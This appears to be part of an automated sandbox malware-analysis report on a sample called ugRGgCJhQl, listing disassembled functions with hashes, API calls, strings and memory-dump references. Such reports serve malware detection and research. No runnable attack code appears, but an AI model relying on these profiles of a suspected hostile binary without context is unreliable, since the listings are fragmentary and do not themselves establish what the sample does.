                                                                        • Opcode Fuzzy Hash: af31620053fa1c1b52e4701b54607e1c04de1a349b7d81ab517ee6b882995f05
                                                                        • Instruction Fuzzy Hash: 4F51D6315493D58FD712CF26C2504AEBFE0AE9A314F8909ADE4DD5B243C221DB5ACB62
                                                                        Function 002F00B7 Relevance: .1, Instructions: 141COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: e7d321950fc9e3d603c1fe0cda5f58bd0532a48558f9edbdfe61fcbe7d5d8f80
                                                                        • Instruction ID: 7259dce1957594e0729305fd4a2605a75b7fe8c0ac4d5115fbc0598e8b109e4b
                                                                        • Opcode Fuzzy Hash: e7d321950fc9e3d603c1fe0cda5f58bd0532a48558f9edbdfe61fcbe7d5d8f80
                                                                        • Instruction Fuzzy Hash: 3551E0B1A083159FC748CF19D48065AF7E1FF88314F058A2EE899E3341DB34E959CB96
                                                                        Function 002F3E0B Relevance: .1, Instructions: 112COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
                                                                        • Instruction ID: 55d87cef1a5f4943c4a2cdefbbb97edd71a078d1a1526e48ed286c81eaac05a2
                                                                        • Opcode Fuzzy Hash: 39963e26f0f32bb957082511270cc61aa548dbbc85140380b543ac3b2cb39bde
                                                                        • Instruction Fuzzy Hash: 1531E4B1A2474A8FCB14DF28C85116AFBE0FB95304F50462DE589C7741C738EA1ACB91
                                                                        Function 002EE2E8 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 234COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • _swprintf.LIBCMT ref: 002EE30E
                                                                          • Part of subcall function 002E4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 002E40A5
                                                                          • Part of subcall function 002F1DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00321030,00000200,002ED928,00000000,?,00000050,00321030), ref: 002F1DC4
                                                                        • _strlen.LIBCMT ref: 002EE32F
                                                                        • SetDlgItemTextW.USER32(?,0031E274,?), ref: 002EE38F
                                                                        • GetWindowRect.USER32(?,?), ref: 002EE3C9
                                                                        • GetClientRect.USER32(?,?), ref: 002EE3D5
                                                                        • GetWindowLongW.USER32(?,000000F0), ref: 002EE475
                                                                        • GetWindowRect.USER32(?,?), ref: 002EE4A2
                                                                        • SetWindowTextW.USER32(?,?), ref: 002EE4DB
                                                                        • GetSystemMetrics.USER32(00000008), ref: 002EE4E3
                                                                        • GetWindow.USER32(?,00000005), ref: 002EE4EE
                                                                        • GetWindowRect.USER32(00000000,?), ref: 002EE51B
                                                                        • GetWindow.USER32(00000000,00000002), ref: 002EE58D
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
                                                                        • String ID: $%s:$CAPTION$d$t1
                                                                        • API String ID: 2407758923-2681609941
                                                                        • Opcode ID: 1c2fb341036c648a9c5dd34f554f7ddd17809b375e76ac8ea183ecefe3f31fa3
                                                                        • Instruction ID: 27153dcbf47ecb388bfe41043c60d4cd15a09a0e7cb4ce7de1fffc1484ba4559
                                                                        • Opcode Fuzzy Hash: 1c2fb341036c648a9c5dd34f554f7ddd17809b375e76ac8ea183ecefe3f31fa3
                                                                        • Instruction Fuzzy Hash: 2981DF72248341AFDB11DFA9CC88A6BBBEDEF89704F44091DFA8497290D631E9058B52
                                                                        Function 0030CB22 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 114COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • ___free_lconv_mon.LIBCMT ref: 0030CB66
                                                                          • Part of subcall function 0030C701: _free.LIBCMT ref: 0030C71E
                                                                          • Part of subcall function 0030C701: _free.LIBCMT ref: 0030C730
                                                                          • Part of subcall function 0030C701: _free.LIBCMT ref: 0030C742
                                                                          • Part of subcall function 0030C701: _free.LIBCMT ref: 0030C754
                                                                          • Part of subcall function 0030C701: _free.LIBCMT ref: 0030C766
                                                                          • Part of subcall function 0030C701: _free.LIBCMT ref: 0030C778
                                                                          • Part of subcall function 0030C701: _free.LIBCMT ref: 0030C78A
                                                                          • Part of subcall function 0030C701: _free.LIBCMT ref: 0030C79C
                                                                          • Part of subcall function 0030C701: _free.LIBCMT ref: 0030C7AE
                                                                          • Part of subcall function 0030C701: _free.LIBCMT ref: 0030C7C0
                                                                          • Part of subcall function 0030C701: _free.LIBCMT ref: 0030C7D2
                                                                          • Part of subcall function 0030C701: _free.LIBCMT ref: 0030C7E4
                                                                          • Part of subcall function 0030C701: _free.LIBCMT ref: 0030C7F6
                                                                        • _free.LIBCMT ref: 0030CB5B
                                                                          • Part of subcall function 00308DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0030C896,00313A34,00000000,00313A34,00000000,?,0030C8BD,00313A34,00000007,00313A34,?,0030CCBA,00313A34), ref: 00308DE2
                                                                          • Part of subcall function 00308DCC: GetLastError.KERNEL32(00313A34,?,0030C896,00313A34,00000000,00313A34,00000000,?,0030C8BD,00313A34,00000007,00313A34,?,0030CCBA,00313A34,00313A34), ref: 00308DF4
                                                                        • _free.LIBCMT ref: 0030CB7D
                                                                        • _free.LIBCMT ref: 0030CB92
                                                                        • _free.LIBCMT ref: 0030CB9D
                                                                        • _free.LIBCMT ref: 0030CBBF
                                                                        • _free.LIBCMT ref: 0030CBD2
                                                                        • _free.LIBCMT ref: 0030CBE0
                                                                        • _free.LIBCMT ref: 0030CBEB
                                                                        • _free.LIBCMT ref: 0030CC23
                                                                        • _free.LIBCMT ref: 0030CC2A
                                                                        • _free.LIBCMT ref: 0030CC47
                                                                        • _free.LIBCMT ref: 0030CC5F
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                                        • String ID: h1
                                                                        • API String ID: 161543041-801895197
                                                                        • Opcode ID: 30ecae083a4d546bdbb325e179d65c645a8896fa758f9cc59f65c48e45f61af2
                                                                        • Instruction ID: f44f7ee6becb59fd27783edd6eba02d130357850019b7a1b9afbd87344c9396e
                                                                        • Opcode Fuzzy Hash: 30ecae083a4d546bdbb325e179d65c645a8896fa758f9cc59f65c48e45f61af2
                                                                        • Instruction Fuzzy Hash: 92319E316223469FEB22AB78D856B5AB7E8EF00310F116619E08DDB1D2DF31EC81CB10
                                                                        Function 003096F1 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 54COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • _free.LIBCMT ref: 00309705
                                                                          • Part of subcall function 00308DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0030C896,00313A34,00000000,00313A34,00000000,?,0030C8BD,00313A34,00000007,00313A34,?,0030CCBA,00313A34), ref: 00308DE2
                                                                          • Part of subcall function 00308DCC: GetLastError.KERNEL32(00313A34,?,0030C896,00313A34,00000000,00313A34,00000000,?,0030C8BD,00313A34,00000007,00313A34,?,0030CCBA,00313A34,00313A34), ref: 00308DF4
                                                                        • _free.LIBCMT ref: 00309711
                                                                        • _free.LIBCMT ref: 0030971C
                                                                        • _free.LIBCMT ref: 00309727
                                                                        • _free.LIBCMT ref: 00309732
                                                                        • _free.LIBCMT ref: 0030973D
                                                                        • _free.LIBCMT ref: 00309748
                                                                        • _free.LIBCMT ref: 00309753
                                                                        • _free.LIBCMT ref: 0030975E
                                                                        • _free.LIBCMT ref: 0030976C
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _free$ErrorFreeHeapLast
                                                                        • String ID: 0d1
                                                                        • API String ID: 776569668-2338689563
                                                                        • Opcode ID: 15934e961aaff849e4bba9886b8a14e397d9c3c340ecf9c46f9605bab47879db
                                                                        • Instruction ID: 6cbbb4d787f718202faa958d030e07c9cff03d80fd81b9bd72f92aa3c638eabb
                                                                        • Opcode Fuzzy Hash: 15934e961aaff849e4bba9886b8a14e397d9c3c340ecf9c46f9605bab47879db
                                                                        • Instruction Fuzzy Hash: 4F11E67612104ABFCB02EF94C852DDD3BB5EF14350B4156A1FA488F2A2DE32DE509B84
                                                                        Function 002F9711 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 126memoryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • _wcslen.LIBCMT ref: 002F9736
                                                                        • _wcslen.LIBCMT ref: 002F97D6
                                                                        • GlobalAlloc.KERNEL32(00000040,?), ref: 002F97E5
                                                                        • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 002F9806
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcslen$AllocByteCharGlobalMultiWide
                                                                        • String ID: F0wn/$</html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
                                                                        • API String ID: 1116704506-2338759863
                                                                        • Opcode ID: 5b3ed2e58cc45a32eef9fe903ecafbb3f276f8298973cba5a102681989392719
                                                                        • Instruction ID: 900b9e306a9ffd765425f4f41fae31c7117ca30c952f4b6819d26537d29291d5
                                                                        • Opcode Fuzzy Hash: 5b3ed2e58cc45a32eef9fe903ecafbb3f276f8298973cba5a102681989392719
                                                                        • Instruction Fuzzy Hash: 05315B325193067BE7267F24DC06FBBF79C9F463A0F10012DF601961C1EB609A9482A5
                                                                        Function 002FD69E Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • GetWindow.USER32(?,00000005), ref: 002FD6C1
                                                                        • GetClassNameW.USER32(00000000,?,00000800), ref: 002FD6ED
                                                                          • Part of subcall function 002F1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,002EC116,00000000,.exe,?,?,00000800,?,?,?,002F8E3C), ref: 002F1FD1
                                                                        • GetWindowLongW.USER32(00000000,000000F0), ref: 002FD709
                                                                        • SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 002FD720
                                                                        • GetObjectW.GDI32(00000000,00000018,?), ref: 002FD734
                                                                        • SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 002FD75D
                                                                        • DeleteObject.GDI32(00000000), ref: 002FD764
                                                                        • GetWindow.USER32(00000000,00000002), ref: 002FD76D
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
                                                                        • String ID: STATIC
                                                                        • API String ID: 3820355801-1882779555
                                                                        • Opcode ID: 2d7f197cceeb501e5f77da85040666680fb3ba638bda85424ea09cf91953a942
                                                                        • Instruction ID: 437618ba722f6865a4ac32540d77c750362afcd4d501529b498f7e334d1e165d
                                                                        • Opcode Fuzzy Hash: 2d7f197cceeb501e5f77da85040666680fb3ba638bda85424ea09cf91953a942
                                                                        • Instruction Fuzzy Hash: F71136765503197BE622BF709C4AFBFF65DAF05781F004230FB02EA091DA649A254AA2
                                                                        Function 00302E31 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
                                                                        • String ID: csm$csm$csm
                                                                        • API String ID: 322700389-393685449
                                                                        • Opcode ID: 92ff1720bd653f85d383a171d5dd0a1bf2e1ea077be484f8089c164e8370de3a
                                                                        • Instruction ID: 4361566b3685e134014f8c34fba8bad4e341287e9a236c50932d31bef7c3d0d2
                                                                        • Opcode Fuzzy Hash: 92ff1720bd653f85d383a171d5dd0a1bf2e1ea077be484f8089c164e8370de3a
                                                                        • Instruction Fuzzy Hash: 74B17F71902209DFCF2AEFA4C8A59AFB7B9FF08310F15415AE8056B292D731DA51CB91
                                                                        Function 002E6FA5 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 134COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • __EH_prolog.LIBCMT ref: 002E6FAA
                                                                        • _wcslen.LIBCMT ref: 002E7013
                                                                        • _wcslen.LIBCMT ref: 002E7084
                                                                          • Part of subcall function 002E7A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 002E7AAB
                                                                          • Part of subcall function 002E7A9C: GetLastError.KERNEL32 ref: 002E7AF1
                                                                          • Part of subcall function 002E7A9C: CloseHandle.KERNEL32(?), ref: 002E7B00
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _wcslen$CloseCurrentErrorH_prologHandleLastProcess
                                                                        • String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
                                                                        • API String ID: 3122303884-3508440684
                                                                        • Opcode ID: af094e2d7f5765e2644727570a337b9a871d3f7a9adc15383e0befe8cb509368
                                                                        • Instruction ID: 49750cd7e6ee0d669ad77ca717fd8bd1c4d6974b884c09596cc02e7b70137300
                                                                        • Opcode Fuzzy Hash: af094e2d7f5765e2644727570a337b9a871d3f7a9adc15383e0befe8cb509368
                                                                        • Instruction Fuzzy Hash: B0414BB1D983C57AEB21EB71DC42FEEB76C9F04340F804455FA45B61C2D6706AA88B21
                                                                        Function 002FB5C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                          • Part of subcall function 002E1316: GetDlgItem.USER32(00000000,00003021), ref: 002E135A
                                                                          • Part of subcall function 002E1316: SetWindowTextW.USER32(00000000,003135F4), ref: 002E1370
                                                                        • EndDialog.USER32(?,00000001), ref: 002FB610
                                                                        • SendMessageW.USER32(?,00000080,00000001,?), ref: 002FB637
                                                                        • SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 002FB650
                                                                        • SetWindowTextW.USER32(?,?), ref: 002FB661
                                                                        • GetDlgItem.USER32(?,00000065), ref: 002FB66A
                                                                        • SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 002FB67E
                                                                        • SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 002FB694
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: MessageSend$Item$TextWindow$Dialog
                                                                        • String ID: LICENSEDLG
                                                                        • API String ID: 3214253823-2177901306
                                                                        • Opcode ID: f2a42a2b69b50e033ef02b4c4e658a3021d21914f8ac637f4e785fa7420729a7
                                                                        • Instruction ID: da43d71a4b6c5ab5f98ea1d1836a4569e23213cd91140a65a31df7d4811992dd
                                                                        • Opcode Fuzzy Hash: f2a42a2b69b50e033ef02b4c4e658a3021d21914f8ac637f4e785fa7420729a7
                                                                        • Instruction Fuzzy Hash: EC21A632664209BBD2135F66ED49F7BBB6DEB4BBC1F010024F701DA1A0CF92A9119631
                                                                        Function 002FFD10 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,3CC91F81,00000001,00000000,00000000,?,?,002EAF6C,ROOT\CIMV2), ref: 002FFD99
                                                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,002EAF6C,ROOT\CIMV2), ref: 002FFE14
                                                                        • SysAllocString.OLEAUT32(00000000), ref: 002FFE1F
                                                                        • _com_issue_error.COMSUPP ref: 002FFE48
                                                                        • _com_issue_error.COMSUPP ref: 002FFE52
                                                                        • GetLastError.KERNEL32(80070057,3CC91F81,00000001,00000000,00000000,?,?,002EAF6C,ROOT\CIMV2), ref: 002FFE57
                                                                        • _com_issue_error.COMSUPP ref: 002FFE6A
                                                                        • GetLastError.KERNEL32(00000000,?,?,002EAF6C,ROOT\CIMV2), ref: 002FFE80
                                                                        • _com_issue_error.COMSUPP ref: 002FFE93
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
                                                                        • String ID:
                                                                        • API String ID: 1353541977-0
                                                                        • Opcode ID: e31b7ca3aa0e2014da5c29e4a05d16afdfc88e76ef287768b5d2daf53cbf8d77
                                                                        • Instruction ID: 49507e4b4e7bd3aae1bb0b88d317b00029fdf952dcea5981195bb3816b4e31d4
                                                                        • Opcode Fuzzy Hash: e31b7ca3aa0e2014da5c29e4a05d16afdfc88e76ef287768b5d2daf53cbf8d77
                                                                        • Instruction Fuzzy Hash: 4941E772A1021DABD711DF64C945BFEFBA8EF48790F10823AFA05E7291D7349910CBA4
                                                                        Function 002EAF24 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210COMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.1238906759.00000000002E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true
                                                                        • Associated: 00000000.00000002.1238892368.00000000002E0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238934897.0000000000313000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.000000000031E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000325000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238948157.0000000000342000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                        • Associated: 00000000.00000002.1238989076.0000000000343000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_2e0000_ugRGgCJhQl.jbxd
                                                                        Similarity
                                                                        • API ID: H_prolog
                                                                        • String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
                                                                        • API String ID: 3519838083-3505469590
                                                                        • Opcode ID: ef3b6c7166c69b847dcc91de0e0d9aba87672c6a3f904e040fe43f4d7c885307
                                                                        • Instruction ID: 4fe62f61f0c2dc1ec3abda9447534289216ccc4050f1d1473a6d655d403c60e4
                                                                        • Opcode Fuzzy Hash: ef3b6c7166c69b847dcc91de0e0d9aba87672c6a3f904e040fe43f4d7c885307
                                                                        • Instruction Fuzzy Hash: 48718A70A10259EFDF15DFA6CC959AFBBB9FF48310B04455DE512A72A0CB70AE42CB60
                                                                        Function 002E9382 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON
                                                                        Download Yara Rule
                                                                        APIs
                                                                        • __EH_prolog.LIBCMT ref: 002E9387
                                                                        • GetLongPathNameW.KERNEL32(?,?,00000800), ref: 002E93AA
                                                                        • GetShortPathNameW.KERNEL32(?,?,00000800), ref: 002E93C9
                                                                          • Part of subcall function 002EC29A: _wcslen.LIBCMT ref: 002EC2A2
                                                                          • Part of subcall function 002F1FBB: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00011FBB,002EC116,00000000,.exe,?,?,00000800,?,?,?,002F8E3C), ref: 002F1FD1
                                                                        • _swprintf.LIBCMT ref: 002E9465
